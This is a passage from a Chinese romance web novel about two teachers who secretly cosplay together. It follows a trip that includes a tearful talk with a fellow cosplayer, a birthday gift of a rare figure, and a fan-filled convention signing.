陶与晴觉得，也许几十年之后他也记不清这些人的名字了，但是和每一届学生不同的经历，会一直扎根在记忆里。 他们也算是路过了许多人的一生。 从学校出来，再翻墙陶与晴就有点熟练了，只是下来的的时候被简璃扶了一下，就站稳了。 “说实话，”陶与晴问：“听我爸说你是年级第一，为什么你翻墙翻的那么熟练啊？” “大概是天赋吧，”简璃说：“头一次干这种事。” “真的假的？” 也太熟练了一点吧，陶与晴都幻视一些皮的没影的学生了。 “难不成陶老师觉得我很适合做坏学生吗？”简璃看他，说：“我上学可是很老实的。” “谁知道呢，”陶与晴笑了他一下：“看你这个熟练度，不像演的。” 两个人走到学校旁边的小街，那条街关了几家店，毕竟是学院路，可能因为暑假所以不开了，但是也还有不少店家还开着门。 “欢迎光临看看吃点……简老师啊？”老板一眼就把印象深刻的帅哥给认出来了，说：“你回京都了？好久不见啊好久不见。” “暑假，带着……同事来玩玩。” 简璃侧侧身子，老板才看见他背后也是个小帅哥。 陶与晴和老板笑着打了个招呼。 “快坐快坐，”老板赶紧给他们倒上水，说：“同事、这位帅哥也是老师啊？我天你俩这学校也太有福了，哈哈哈。” 老板热情的开开玩笑，简璃点了几道招牌，就去后厨忙活了。 简璃和陶与晴解释：“他是老板，这家店开了挺久的了，工作了也来吃过几回，味道还不错。” 这家小店的装潢不太考究，确实很像是学生时代里，普通却味道不错的小店。 “喵～” 陶与晴被一只毛茸茸的东西蹭了一下裤脚，吓了一跳，低头一看才发现是老板养的一只大橘猫。 “你也太胖了吧，”陶与晴伸手把那只大胖猫抱在腿上，说：“这平时是吃了多少呀。” 简璃盯着他腿上享受摸毛服务的猫，沉默震耳欲聋。 这只大胖猫以前不是见人就躲的吗。 它怎么不躲了。 大橘猫在陶与晴腿上打呼呼，然后把手一揣，舒舒服服的被挠下巴。 老板先端了一盘小菜出来，看见这一幕笑着说：“这猫挺怕人的，倒是不怕你啊小伙子看来你挺吸猫的。” “这样吗？”陶与晴笑道：“可能我身上有它喜欢的味道？” “你是兔子它是猫，你俩不是一个品种，”简璃伸手拎起橘猫的后颈，把它提溜下来，说：“别这么自来熟。” 陶与晴无语的摇头。 他什么时候成兔子了。 然后那只猫对着简璃叫了两声，似乎很不满。 “要吃饭了，你可以选择去外面晒太阳，”简璃对着那只猫说：“去。” 陶与晴再次觉得他幼稚，笑着说：“你说话它能听懂吗？” “它出去了，证明它听懂了，”简璃重新坐回来，说：“它到挺会看人下菜碟。” 陶与晴看见那只猫走到门外甩甩尾巴，然后倒地翻了个身。 这个不爽的样子和简璃好像啊。 想到这个陶与晴莫名想笑，憋了一会才忍住。 这顿饭吃的有点晚，之后两个人又去大学城逛了逛，那边还挺热闹，还遇到了两个粉丝。 “可惜我没有准备无料，过两天的漫展两位会去吗？”那姑娘又有点不确定，问：“扶光老师……这位是离玉老师吧？” 这么帅，肯定是离玉吧？ 但是对方没化妆没穿c服，还戴着眼镜，有点不好认。 “是，”简璃笑了笑就开始营业，说：“你们买票了吗？” “啊，买了买了！” 简璃说：“好，那我们到时候见，路上注意安全。” “好的好的，老师们9……” 她没说完就被同伴拉走了。 “别舞别舞，到时候避嫌了怎么办，嘘。” “噢对对对，你说的对。” 陶与晴站在原地。 她刚才绝对是想说99的吧？ 陶与晴去看简璃的表情，想试图从他的营业微笑中看出来点什么别的。 简璃却低头看了一眼手机，转移了话题。 “……余兮看见我ip变了，刚找我，约我明天见面，大概要一个上午的时间，你想和我一起去见见他吗？” “余兮……？啊那件事，他居然主动找？”陶与晴自然点点头：“当然，我也一起去吧。” 不清楚对方什么目的，还是陪着去比较好。 虽然陶与晴挺信任简璃一个人也能搞定的。 信任是一码事，但是自己还是会担心的。 “我来之前回顾了一下之前和他一起搭档的视频，”简璃说：“印象里他是个还不错的人，视频里也没有任何小动作。” 言下之意，余兮不像是公开转发那种微博的人。 陶与晴也很好奇为什么他会突然转发那条微博。 两个人回到民宿差不多晚上八九点，陶与晴才逐渐意识到虽然不是一张床，但是是同一个房间，并且离得很近。 急急急。 和暗恋的人要睡一个房间到底该怎么办。 陶与晴洗好澡坐在床上，头发没干，头上搭着毛巾。 简璃也去浴室了，哗啦啦的听见了水声。 陶与晴坐在外面，有点无心擦头发。 好尴尬。 好想逃。 他承认他怂了。 【扶光】：和他一个房间怎么办。 【向爱卿】：一张床？ 【向爱卿】：他完了。 【向爱卿】：他敢：） 【扶光】：不是，他主动睡地上了。 【向爱卿】：也不行。 【扶光】：？ 【向爱卿】：证明他心里有鬼。 陶与晴决定维护一下简璃。 【扶光】：毕竟旅游高峰期订不到两个房间嘛…… 【向爱卿】：他订两个房间，不是没品就是不行。 那你到底要人家咋！ 【扶光】：……怎么就变成讨伐大会了！ 【向爱卿】：不好意思代入角色了，你继续。 【扶光】：好尴尬啊怎么办，他现在在洗澡。 【向爱卿】：这样，你按我说的做，就不会因为害羞尴尬了。 【向爱卿】：首先，你站到浴室门口去。 陶与晴站到了浴室门口。 【向爱卿】：敲门。 陶与晴敲门了。 简璃水声一停：“怎么了？” 【向爱卿】：让他出来。 “……你出来一下。” 向思远到底要干嘛。 简璃微微打开门，露出一点肌肉线条和打湿的前额。 【向爱卿】：好了，你先看见了，血赚。？ 他有病吧！？ 陶与晴手机都没拿稳，要掉下去的时候被简璃给伸手接住。 他身上的水渍已经擦干了，头发吹了吹，还有一点水，衣服穿了一半，还没来及的扣扣子，接住陶与晴的手机还给他。 “怎么了。”简璃又问了一遍。 “我那个什么……我……”谁知道怎么解释啊。 而且他的眼睛不知道往哪看了。 “我就……”陶与晴接住手机，说：“我、那个……” 眼瞅着陶与晴已经红温了，简璃单手彻底拉开浴室的门，靠在门框上。 他甚至在笑：“我不介意啊，扶光老师想看就看。” 他不是！！ 他没有！！ 陶与晴更红温了。 今晚黑名单里多了个冤种兄弟。 “……所以是向思远故意整你。” “对啊，”陶与晴坐在地毯上，简璃坐在床上给他擦头发，“我和他聊天呢，说起你在洗澡，他故意的……” “你还真老实啊，他让你干嘛你就干嘛了。” “我压根不知道这是个恶作剧好不好……” 他甚至本来没想让简璃给他擦头发，但是对方看见他头发还是湿的，就把他摁住了。 “还以为什么呢……”简璃擦着头发嘟嘟囔囔。 他都要施展身经百战的撩人技术了。 ……陶老师不会觉得他是变态吧？ 晚上，陶与晴裹着空调被，动作浅浅的翻了个身。 扭头去看地上的简璃。 他睡姿挺端正的，可能是家教的原因，一动也不动。 虽然垫了毯子，但是第二天起来会不会腰痛啊，而且空调对着吹，要是吹感冒了怎么办。 陶与晴犹豫了一下，还是有点心疼。 “……简璃，你睡了吗。” 陶与晴声音不大，但是对方还是颤了颤眼睛，听见陶与晴的声音本能的回应：“……怎么了。” “要不你还是上来吧，地上凉。” “不用，”简璃翻了个身：“快睡吧，晚安。” 陶与晴劝说无果，盯着简璃侧过去的背影看了一会，倒回床上。 ……他是很不想和自己一张床吗。 之前明明挺自然的。 ……都怪向思远。 简璃不会觉得自己是个变态吧…… 简璃侧过身去，这次却没入眠。 ……忍住啊。 他怕晚上的扶光太诱人，自己要干出点什么禽/兽勾当怎么办。 两个人都没睡好，第二天起来眼底有点乌青。 也不知道是都心虚还是什么，都没提起昨晚的事情。 和余兮约在一家有包间的咖啡馆，简璃和陶与晴路上有点堵，到的时候晚了两分钟。 陶与晴第一次见到余兮线下真人，这张脸是挺好看的，是很精致的男生，但是和线上的感觉……很不一样。 他这个人都更阴沉。 和简璃性格的反差不同，陶与晴觉得余兮的这种阴沉更压抑一点。 “你们来了，”余兮说：“坐吧。” 陶与晴和简璃对视一眼，就知道他也看出来了。 而且余兮和几年前简璃印象里的样子，应该是不太一样的。 “之前那件事，”余兮主动开口，“是我做的不好，给你们造成困扰了，抱歉。” 这一点倒是和线上的态度很一致。 陶与晴说：“其实你就算不转发，那个人也会找上来的……但为什么呢。” 明眼人都知道，那绝对不是手滑。 余兮也因为这件事掉了一波粉，现在他成了个有黑点的coser，很多漫展都不太敢请他。 因为都觉得经过那件事，请他就是得罪离玉和离玉的粉丝。 这没必要吧。 “……也没什么为什么，”余兮低头说：“对不起，但我的确不知道他会去漫展伤人。” 简璃不解：“你真的只是约我出来道个歉？” 余兮的头发看起来有段时间没剪过了，他一低头就能挡住他的脸，“这就是我想说的，我很抱歉。” “是出了什么事，”陶与晴觉得不对劲，作为一名老师，有些开导别人的职业病：“都是一个圈子的，你说出来我们看看能不能……” 对方捏紧了咖啡杯。 “……我们根本不是一类人。” 陶与晴：“……为什么这么说？” “你们才是一个圈子的，”余兮抬头露出双眼，红红的，脸上没什么血色，不知道是哪句话触及了他的情绪，语气有点激动：“我们根本就不一样。” “我根本就不应该在这个圈子里。” 他越说越偏离主题，像是压抑了太久了管不了这么多。 可是…… 陶与晴本意是想安慰安慰他，说：“‘余兮’不也是百万粉的大v吗……这一点已经胜过很多人了。” 何必和自己过不去呢。 “根本不一样——”他打开了话茬，像扔垃圾一样把话丢出来：“我三年前就不应该再回来了，拼命跑了这么久，到最后甚至发现分不清是为了热爱还是为了钱。” “三年前我人气起来了，我的父母刷到我的一条视频以后，冲进我家砸掉了我的整个手办柜。” “你们的表情很惊讶，一定很难解世界上怎么会有这种父母，你们没见过喜欢的角色残肢断臂，没见过被烧掉的粉丝无料，”余兮死死握着咖啡杯，能看见杯子里的水波在抖：“……我说我现在能靠这个赚钱，我爸反手给了我一巴掌，说赚的再多都是不三不四的东西。” “他说幼稚、上不了台面、不伦不类。” “于是我找了工作，但三年后我挣扎着回来了，终于有大展的主办邀请我，档期合适的那天我居然要去给我爸签出院手续？”余兮撑住自己的头，摇了摇，说：“……太讽刺了，实在是太讽刺了。” 他甚至有些语无伦次：“……他们提到了你，我也不知道我当时怎么想的，看见那条梦男的微博，莫名觉得他和我好像——都是疯子……脑子一热就转了，我做的不对……我怎么和你们说了这些，我不知道……我到底怎么变成这样的。” 简璃皱紧眉头。 陶与晴觉得这个故事太压抑，心里也难受起来：“余兮，我们……” 他想说我们能解。 却忽然一顿。 谁能解他呢？包括现在的他自己。 “我爸住院我应该哭才对，”余兮似乎什么都听不进去，只是一股脑的在说：“他们都说我得哭啊，我为什么哭不出来……但是他烧掉粉丝礼物的时候我哭了……我不孝——我怎么会转发那条微博，你们能不能骂我两句让我好受点。” 眼看他要在自己给自己的枷锁里越陷越深，已经快被压垮了，陶与晴站起来。 “余兮，你先冷静点。” 没等他有动作，简璃开口说：“我见过。” 包间里寂静里，陶与晴和余兮同时看他。 “我见过被砸碎的玻璃，被剪掉的c服，还有……被扔进垃圾桶的粉丝无料，”简璃语气对比起来平静的多，说：“我的父母也不开明，我甚至不能带我爱的人去见他们。” 陶与晴噤了声，心疼了。 “所以，他们到现在也不知道我还是离玉——那又怎么样，我做什么都要管他们，那我还活不活了，逢年过节回去一次不错了，大家过的都挺好。” ……心、心疼暂停。 陶与晴无奈的想，话有点糙了啊离玉老师，什么活不活的—— 余兮此刻皱紧眉头，好似听进去了：“你……” “生活是自己选择的，你说你分不清爱好还是为钱，我却觉得这个不冲突没必要纠结，有能力就赚，没能力就图个乐，只要不打肿脸充胖子就挺好，”简璃说话有些尖锐，但是道是这个道：“人也是为了自己活的，关关难过关关过，别自己绑架自己。” “但我已经来不及了，我的状态太差，根本做不了嘉宾和博主……” 陶与晴看余兮真的听进去了，接着说：“虽然过去很压抑……但是总能走出来开始新的生活——就算是六十岁的人也能继续喜欢看‘动画片’，你才多大啊，来得及的，不适合再做台前，也可以换种生活方式呀。” 陶与晴的话非常温柔，但是简璃就不一定了。 简璃淡淡道：“与其内耗自己、不如责怪他人——当然你转发那个事情确实不对，是该道歉，所以这顿你请吧。” 陶与晴戳了戳他：“喂……” 后一句虽然是没毛病，但前一句是什么奇奇怪怪的世界观。 而且不要在开导的途中突然要对方请客啊。 简璃只给了他一个无辜的眼神。 “……还真没想到离玉会说这些话。”余兮感觉简璃和离玉像是两个人。 陶与晴默默说：“习惯习惯就好。” 余兮沉默片刻又说：“但你们都没被什么人讨厌过吧，看见那些亲戚的眼神我就觉得我活着……” “谁说的，”简璃非常坦然，演都不演了，说：“我的学生每天都巴不得看不见我，我不也活着，我甚至还想给他们的暑假作业加点料。” “……？” 陶与晴接话解释道：“啊他是老师……在学校是比较、凶。” “……” 余兮还真是没见过这样的离玉。 好毒一张嘴，甚至连自己都骂。 但是崩溃的情绪被以一种莫名其妙的方式疏导了是怎么回事。 他以为离玉光鲜又有魅力，毕竟台前是温柔又风趣。 原来离玉私底下性格这么……？ 其实陶与晴也是挺意外的，因为除了批评学生的时候，他有一段时间没见过这样的简璃了。 不知道什么时候开始，简璃，不管是以简老师的身份还是以离玉的身份，在他面前，嗯—— ……还挺乖的？最多有点恶趣味，喜欢瞎撩。 差点就忘了他的脾气原来是这样的。 余兮：“……所以二位是同事？” 陶与晴和简璃一起说。 “对。” “未必。” 陶与晴：“？” 糟了。 简璃也一愣。 没忍住。 作者有话要说： 腱鞘炎好痛……错别字过段时间再改 第52章 糟糕，输出太快忘刹车了。 陶与晴看他，说：“……未必？” 简璃下意识嘴快道：“除了同事也是朋友和漫展搭档。” “也对，”陶与晴侧过头，说：“嗯嗯……” 吓人一跳啊。 余兮的眼神在两个人当中巡视了一下，觉得自己不要参合这件事，说：“谢谢你们听我说这些，离玉说的对，我请你们吃饭吧。” 之后余兮和简璃又聊了聊，只不过简璃攻击力意外的收敛了点，陶与晴罕见的全程没怎么插嘴。 在他们提到无梦的时候才说了两句。 “……想约无梦？”余兮思索片刻，低声说：“你们之前合作那么多次，约她不难吧，只是她近一年去国外进修了，你不在京都，应该没怎么和她联系过。” 简璃点头：“对，我只知道她好像在国外，但是不知道她回来了没。” 余兮说：“我一个月前在商城里碰见过她，还打过招呼，应该是回来，你问问吧。” 陶与晴：“无梦去国外进修美术吗？” “这我也不太知道，”余兮说：“她给我化妆都是几年前的事情了，你们可以自己问问她。” …… “那我就不送了，”余兮一时也不知道如何称呼他俩的关系，只说：“两位……参展顺利，今天见笑了。” “每个人都有低谷期，你也是，”直到最后分别陶与晴才说：“一切顺利。” 但回去的路上，陶与晴满脑子简璃那句未必。 揣摩他的心思是一大难题。 什么叫未必啊。 “你……”简璃率先开口打破僵局，说：“我刚才说那些，没吓到你吧？” 主要是一提到这种话题，简璃就没收住。 “没有没有，”陶与晴很快说：“……其实我之前只是听你提起只言片语，还挺高兴你能和余兮说这些的……不过加暑假作业什么的，应该是开玩笑的吧？” 简璃看他最后认真的为了这一句，想笑，又憋住了：“是，开玩笑的。” 陶与晴说：“其实同学们还是很喜欢你的，他们也知道你是为他们好。” 虽然自己刚才也差点就替那帮孩子捏把汗了。 “会不会很失望，”简璃忽然问：“‘离玉’是这样的人。” “……为什么会失望，”陶与晴也认真的看着他，说：“你说，我是一万种可能里最好的那一个，怎么知道自己不是呢。” 简璃微微瞪大了眼睛，一脸诧异。 “……真的这样想？不觉得我很偏激，对父母是那个态度。” “不这样想的话，我肯定还在气你瞒着我呢，我这不都原谅你了……”陶与晴说：“而且我觉得那不是偏激，你是这样一步一步走到今天的，这是你独特的锋利。” 像一把磨练出鞘的宝剑，削铁如泥，熠熠生辉。 “而且你对你姐姐和外甥都很好，证明你又不是冷血无情的人，你只是看得清，选择对的人，我喜欢这样的离玉，更喜欢这样的简璃。” 陶与晴说出口忽然又脸一红，说：“……我的意思是，那种单纯的那种，我是说……嗯、反正就是，这样挺好的……挺好的。” 简璃看着陶与晴语无伦次的样子。 ……明明知道是这个人本来就很温柔，说这些话只是安慰自己吧。 他就是一个很好的人，对谁都是这样的。 能在他心里胜过离玉，已经是很好的结果了。 “你啊，”简璃垂头扶额，说：“……总是说些令人误会的话。” “误会什么……” 明明这个人才老让人误会。 简璃抬头看他，伸手拉住他的手腕，几乎要脱口而出，接受自己的死刑：“误会——”你也喜欢我。 “扶光！是扶光吗！” 简璃猛的松开手。 大老远就听见了一声惊叫。 “旁边那个一定是离玉吧，两位老师别走！等等！” 简璃被打断了，一时沉默。 ……这届粉丝不懂看气氛吗，他都快……！ 算了。 不说也好，说了给人造成困扰。 至少让他开开心心没有负担，过个单纯的生日。 陶与晴却从简璃的视线里逃出来，如释重负。 “……合照？可以，可以的……” 被那个人用那种眼神盯着，都不能呼吸了。 总感觉好暧昧，抓心挠肝。 他刚才是想说什么，好想听啊。 …… 虽然这两天陶与晴很想让简璃睡床上…… 但是他不好意思再提，简璃本人也不太愿意上来，所以晚上一直保持着一个距离。 感觉空调开的都低了，有点冷。 19号，陶与晴醒来却没看见简璃，发消息他也没及时回复，这很少见。 而且他居然连眼镜都没带，放在床头柜上，感觉像是走的很急。 ……干什么去了。 陶与晴点开社交平台，已经收到了不少粉丝的祝福，还有各种画手献画，陶与晴一张一张的看过去，被他们的用心给打动。 班级群里邓留萤也在说，今天是陶老师的生日。 【真的吗？陶老师生日快乐！】 【陶老师和我一样是巨蟹座哎，嘿嘿嘿】 【生日快乐！！！陶老师永远年轻帅气！】 【永远不死！】 【啊啊啊陶老师，我要写一张数学卷子作为生日礼物送给您（bushi）】 【向爱卿】：少爷又长一岁，记得回去快递柜查收礼物（墨镜）（墨镜） 【皇额娘】：【红包】 【皇额娘】：和简老师在外头玩注意安全，记得请人家吃点好的，你爸说给你多发点钱（偷笑）（偷笑） 大家的祝福都很暖心…… 所以简璃呢？ 陶与晴摊回床上晃了晃腿，伸手拿过简璃的眼镜。 今天第一时间没有收到来自离玉的祝福，有些别扭。 简老师人呢人呢人呢人呢…… 陶与晴在床上打滚。 简璃开门回来就看见了这一幕。 “陶老师，你在……？” “我那什么，”陶与晴听见开门声就坐起来，把眼镜藏在背后，头发有些乱，脸瞬间红了，说：“……我我，我测试一下这张床的软硬程度。” “……过来。”简璃不逗他了，出声唤人，等人过来以后伸手把他头发了。 陶与晴躲了躲，因为简璃今天没带眼镜，不去看他的脸，问：“你，你干嘛去了。” “以前你不收礼物，今年当然要买个好点的，店有点远还要预约，所以早上我先起来了。” 简璃把袋子塞进他怀里，说：“看看喜不喜欢。” “……！”陶与晴拿东西的手都小心翼翼了，“这个手办不是绝版了吗？为什么……” “六年前你说你喜欢她，我是去店里淘来的，祁城我也找了但是没找到，刚好京都有，运气不错，我看没什么瑕疵。” 是陶与晴六年前提到过的，没买到这个角色的手办非常可惜。 第一次真正接触二次元是初中时候看的一部老番，很喜欢里面的一个女配角，觉得她非常的坚毅勇敢，魅力不输给主角。 那是陶与晴第一个推的角色，虽然后来是有点见一个爱一个……不过对于这个角色，是有特殊情怀在的。 也是因为这样才顺藤摸瓜了解了圈子，加了不少同好群，当时也只是一个没有姓名，默默看大佬们聊天的小透明。 他画的第一幅同人画也是这个角色。 后来才慢慢的…… 简璃怎么连这个都记得，还给自己淘来了，他隐约记得他六年前只是随口提到了一下而已，如果不是因为今天他根本都想不起来有这茬。 他怎么什么都记得。 知不知道这种过生日“啪”的一下变出你推绝版手办的行为，对于二次元来说和求婚没区别啊。 不说他去找这个手办的时间，就算是这价格也得…… 真的有一种原地结婚的冲动。 “想嫁……” 因为太小声，简璃没听见：“什么？” “我说我很喜欢，真的，”陶与晴激动的眼睛都红了，说：“谢谢你记得。” 简璃看他这个样子简直哭笑不得，又有些心疼的捏捏他的脸：“一会还要出去吃饭呢，你这是干嘛……” 一个手办而已，怎么感动的傻里傻气的。 ……知不知道这样子很容易被骗走的。 简璃松手，无比认真：“生日快乐，陶与晴。” “……嗯。” ……为什么，明明他不喜欢被人叫名字。 但是从这个人嘴里出来，浑身都酥酥的。 一点都不反感，甚至想听他多喊两声。 陶与晴不敢和简璃对视。 隐隐约约觉得，能做到这一步，会不会是…… 他知道如果自己和向思远说想要这个手办，对方也会去找。 但是特意提起和无心一说，这两个还是有很大区别的。 何况是六年前，陶与晴自己都快不记得的事情。 “你……”陶与晴试探的问：“……怎么会记得这么早以前的事情啊，我都忘了。” 而送他礼物那个人只是眼神一躲：“我记性好。” ……撒谎。 陶与晴觉得他在撒谎。 这个生日说简单也简单，两个人就是吃了顿饭，吃了蛋糕什么的。 但是陶与晴觉得很满足。 四舍五入，他不就是在和简璃约会吗。 嗯—— 然后就要准备明天漫展的行头了。 假发道具都没问题，但是这c服…… 陶与晴前一天晚上研究了半天硬是没明白该怎么穿，甚至翻来了教程视频，发现还是挺复杂。 一些莫名其妙的挂件和腰带，莫名其妙的版型，还有莫名其妙的带子…… 这些都是什么和什么。 他只好抱着衣服求助的看向简璃。 “不介意的话，”简璃也非常自觉的说：“我来帮你？” “……你们出个角色太不容易了，”陶与晴把衣服递给简璃，说：“光是穿上就已经花光力气了。” “习惯就好，穿多了就会有一种经验，”简璃伸手环过他的腰，把腰带系好，说：“这种经验就是：‘我觉得他应该是这样穿的’。” 陶与晴里面还穿了衣服的，但是被碰到感觉自己的腰有点痒，不自觉抖了一下，问：“真的靠猜啊？” “差不多吧，”简璃手也一顿，稳住声音说：“明天我也可以帮你穿，学不会没关系。” “确实挺复杂的……” 简璃给他穿了一遍，陶与晴才明白，原来这玩意还能这样穿。 原来不是所有的扣子都对称。 也不是所有的带子都要绑在衣服上，也可能是手上和腿上。 管他有没有意义，符合xp就行了。 受这个角色因为剧情里扮演魔尊，所以衣服样式比攻还复杂，整体是黑色的，攻相反，成了一个没人认识的小娄娄，衣服反而比较接近正常的汉服款式。 “无梦那边怎么说，”陶与晴看明白了，就把衣服解下来，问：“她要去YK21吗？” 余兮说遇见过无梦之后，简璃就发消息问了，不过这两天对方都没给准确答复，因为不确定自己的行程。 漫展主办是安排了妆娘的，但是陶与晴想见无梦，所以简璃还是据力争了一下。 好在，今晚她回答了。 【无梦M】：那我到时候过来给你们两个化妆。 【无梦M】：你要说扶光第一次陪你出cp，这个面子，当然不得不给了。 “真的？”陶与晴看了简璃的手机，眼神一亮：“那我岂不是能见到她本人了，太好了。” “那么喜欢她吗。”简璃收回手机，语气有他自己没听出来的不满。 “她的妆感真的很好，而且……”把离玉化的特别帅，比其他人化的都帅，每一次化离玉都特别贴人物。 陶与晴措了一下词，低头说：“而且把你化的很还原。” 要这么说，简璃就不酸了。 他自言自语：“……也是我本来就帅。” 漫展当天，基本没有透露这次离玉要和扶光搭档，一开始陶与晴以为主办方会拿这个事情宣传，看这么多人都不知道这个事情还挺意外的。 甚至是工作人员都表现的惊喜又激动，陶与晴不禁奇怪，这主办方不是让他和离玉出cp吗，这些工作人员难道没有心准备？ 无梦真人也很少露面，她是个长相稍显英气的姑娘，长发，穿衣风格比较随意，不过还是能看出艺术家的气质。 她去国外进修了一年美术，刚回国不久，原本已经不打算接妆了，但是看在离玉和扶光的份上，还是接了这一单。 陶与晴第一次被人在脸上做动作，不敢动不敢动。 “给你们两个化妆也是一种享受啊，”无梦换了支笔，说：“记得多拍点照片。” 简璃已经穿戴完了，看着无梦给陶与晴化妆离得很近，出声：“你仔细的过头了吧。” “扶光老师第一次出cos，要精益求精，”无梦上妆手法非常细腻，而且手非常稳，还能分心和简璃互损两句：“嫌我给你画的糙，要不要卸了重来？” “……” 意外的，陶与晴感觉到简璃被镇住了似的。 实在难得。 主要是得罪谁也不能得罪妆娘啊。 简璃很无奈。 “漂亮，”无梦给陶与晴戴好假发了，非常欣赏的看着自己画完的成品，有一种由内而外的成就感：“……便宜了某些人了。” “我难道不帅吗？”简璃迅速反驳。 “你的脸我都看腻了，”无梦回：“建议扶光别和你做搭档，直接单开一个签售位子。” “我们是cp你还想拆家？什么居心。” 这样一听，无梦好像是知道简璃私底下什么性格。 ……原来还有比自己早的人。 “好了，”无梦最后给他们留了一支口红小样，用来补妆，说：“我要和我老婆逛漫展，你们去吧，有事儿发消息，没事儿别打扰。” “老婆？”陶与晴看过去：“女朋友吗。” “对，她差不多要到了，我去接她去，”无梦打开手机看了一眼时间，说：“你们玩的开心。” 有女朋友啊。 那…… 陶与晴放心多了。 “噢对了，”无梦想起来什么，倒回来，非常刻意说：“我老婆是扶光的粉丝，一会我要陪她排签售，她说她想和扶光贴贴，某位离玉就不用签了。” “啧，”简璃赶人：“管好你老婆！” 不要随便和别人的老婆贴贴！ “原来无梦有女朋友，”陶与晴乖巧坐在椅子上，和他现在的形象形成了一种反差萌，“我还是第一次听说。” “啊，她们谈了挺久的，我认识她的时候她们就已经在一起了，”简璃解释：“她女朋友不太混圈所以不常提起，以前在京都的时候一起吃过饭，是个人挺不错的姑娘，好像……是个硕士吧，在外企上班。” 陶与晴有点羡慕了：“真好啊，谈了这么久的恋爱，还和初恋一样甜。” “……”简璃觉得他话里有话，悄悄的回头看他：“……你想……谈恋爱？” “……没有啊，”陶与晴扭头：“没人和我谈啊。” 他也悄悄去观察简璃的反应，某个人别扭了半天憋出来一句：“……好像该进场了，走吧。” ……哼。 陶与晴觉得简璃在转移话题。 简璃借着cp的由头，牵住陶与晴的手。 他走在前面一点，看似面无表情其实心里飞过去一堆弹幕。 他家陶老师什么意思？ 想谈恋爱？ 谈啊谈啊和他谈啊！ ……也可能是随口一说的。 牵到手了哎。 现在立刻表白会不会被当变态丢出去。 不对，什么叫没人和他谈？ 有啊有啊。 只要陶老师亲亲他，就有了啊有了啊。 …… 陶与晴是第一次穿的这么夸张，平时他都要多简单有多简单。 一出场先是全场寂静，然后才响起来尖叫声，一时间非常局促，也算是符合人设了。 这边工作人员看了一眼名单，惊讶片刻说：“离玉和他的搭档……扶光？” …… “啊啊啊啊玉光！！我圆满了我啊啊啊！” “我去我去我去给我一巴掌这是不是真的！！” “我们玉光可是纯爱！纯爱！！” “这个番！双厨狂喜！今夕是何年啊我何德何能看见玉光给我的远古产品做饭——” 签售台这边不到十分钟就被围了一圈人，陶与晴主要起到一个好看的水印作用，站在离玉旁边。 他甚至不太会摆姿势。 头一位姑娘差点激动的咬到舌头，说：“两位老师，能一起给你们拍照吗？” 陶与晴悄悄对简璃说：“我不会呀……” “没事。”简璃从座位上站起来，伸手一揽，搂着腰把人往怀里带。 陶与晴瞬间脸红，在简璃面前完美的上演不知所措、不知所云和手忙脚乱。 “啊啊啊啊啊！” “我血包呢！！” “多卖爱看啊啊啊啊！” 简璃对着镜头笑了笑，对陶与晴说：“本色出演就好了。” 陶与晴听见这句话，害羞到埋肩，想到今天化了妆，靠了一下又不敢靠了。 就这个若即若离，被前排的姑娘咔咔一顿乱拍。 【（图片）就这个玉光爽！】 【（图片）（图片）离玉：可不能被你们这些同人女看扁啊】 【（图片）我勒个，扶光宝宝你是一个小兔子啊啊啊，这个腰太细了吧害羞了好可爱啊啊啊宝宝呜呜呜宝宝】 【我他妈出生了，就在今天】 【输入玉光自动打出99，玉神稳定发挥，哥你别笑了！抱老婆就这么爽吗！？】 【（图片）我第一次在玉神完美的笑容里看见了暗爽和调戏，我服了，哥，你的分寸感呢？这个时候小手不老实了是吧？】 【埋肩膀我反复细品，可以刻进我的坟头了——扶光耳朵红透了，离玉还在笑，他一直在爽他就没停过（大哭）（大哭）我要在现场一定叫的更大声】 邓留萤暑假还在上万恶的补习班，明知道离玉要去YK21但是没机会去，怨气本就大。 还在话题里刷到了这么多绝美玉光cp图，感觉自己要晕过去了。 为什么！ 邓留萤痛恨补习班。 为什么她不在现场啊啊啊啊爸爸妈妈呜呜呜呜。 这个时候，小群里探出一条消息。 来自“赵遇京和帅哥美女们”。 【小班长你快改群名！】：哥可是传说（墨镜） 【小班长你快改群名！】：【图片】【图片】 邓留萤眼尖的发现了YK的展牌。 【不改你跳吧（群主）】：？ 【无尽花会开】：是YK21吧，能帮我带个游戏周边吗哈哈。 【小班长你快改群名！】：没问题学委，你私我你私我。 【你的萤来了】：你在漫展？你不是和我一样补习班吗！ 【小班长你快改群名！】：我爸妈出差了哈哈哈哈哈！我用私房钱溜出来玩了两天了都。 呵呵。 邓留萤反手转发。 【邓留萤】：【聊天记录】 【邓留萤】：（微笑中透露着无语.jpg） 【邓留萤】：简老师，做好事不留名，开学千万不要放过他：） 第53章 简璃这边已经排着队开始签售了，不少人也找陶与晴要了签名，并且感叹他的字真好看啊，教科书一样的笔锋。 简璃看着陶与晴被主办拉过去拍宣传，不少小姑娘也跟着他过去，非常无奈。 手机屏幕亮了亮，他起初没在意，出于职业习惯，一般工作的时候也是静音或免打扰的。 但是他看见屏幕面前显示的ID是邓留萤。 这丫头放暑假还找自己干嘛。 简璃又签完一个，活动一下手腕，打开手机看了一眼。 好嘛，还真是惊喜。 那么这个光明正大逃补习班的臭小子在哪。 陶与晴就拍了几分钟的镜头，很快回来了，看见简璃视线朝着很远的地方看去，似乎想在人群里找什么。 “怎么了，”陶与晴靠近他问，也习惯了周围小姑娘的惊呼声，“找什么呢。” 简璃只把手机递给陶与晴。 陶与晴意会，划开他的手机，看见了里面的聊天记录。 赵遇京。 不用等开学了。 “他在哪呢，”陶与晴光是想到就有点想笑，说：“你想怎么办？” 简璃低声，语气阴森森的说：“等他走到这个场馆，他就死定了。” 好恐怖。 遇上真魔尊了。 赵遇京刚和吴尽夏私聊完，说是C馆有那个游戏专属的摊位，他正打算过去给吴尽夏拍个照问问她要哪个。 赵同学嫌麻烦不出c，去了几次漫展都是地球人的衣服，这次他偷溜到京都来，跟着朋友一起来漫展。 结果走着走着就走散了，他干脆自己晃悠。 C馆不光有几个官方的摊位，签售位也在这边，而且那边围了好多人啊。 不看热闹还是人吗，赵遇京往那边靠过去，想瞅瞅是谁这么大阵仗和人气。 ……原来是之前听邓留萤提起过的离玉……旁边那个好像陶老师啊？什么鬼？ 因为有个像陶与晴在旁，赵遇京更是越看那个离玉越像简璃。 赵遇京起初觉得蛮有意思的，拍了张照片开玩笑似的发了个帖子。 【补习偷溜，漫展上遇见两个coser好像我老师（图片），怎么办在线等】 其实他随手一发，发完就溜到游戏摊位前了，没想到很快就有人回复。 【玉光！这里也捡到了，颜值真的顶，在博主死亡角度之下也是好看的哈哈哈哈】 【谁教你这么拍照的啊喂！好好的两个大帅哥拍的这么糊？】 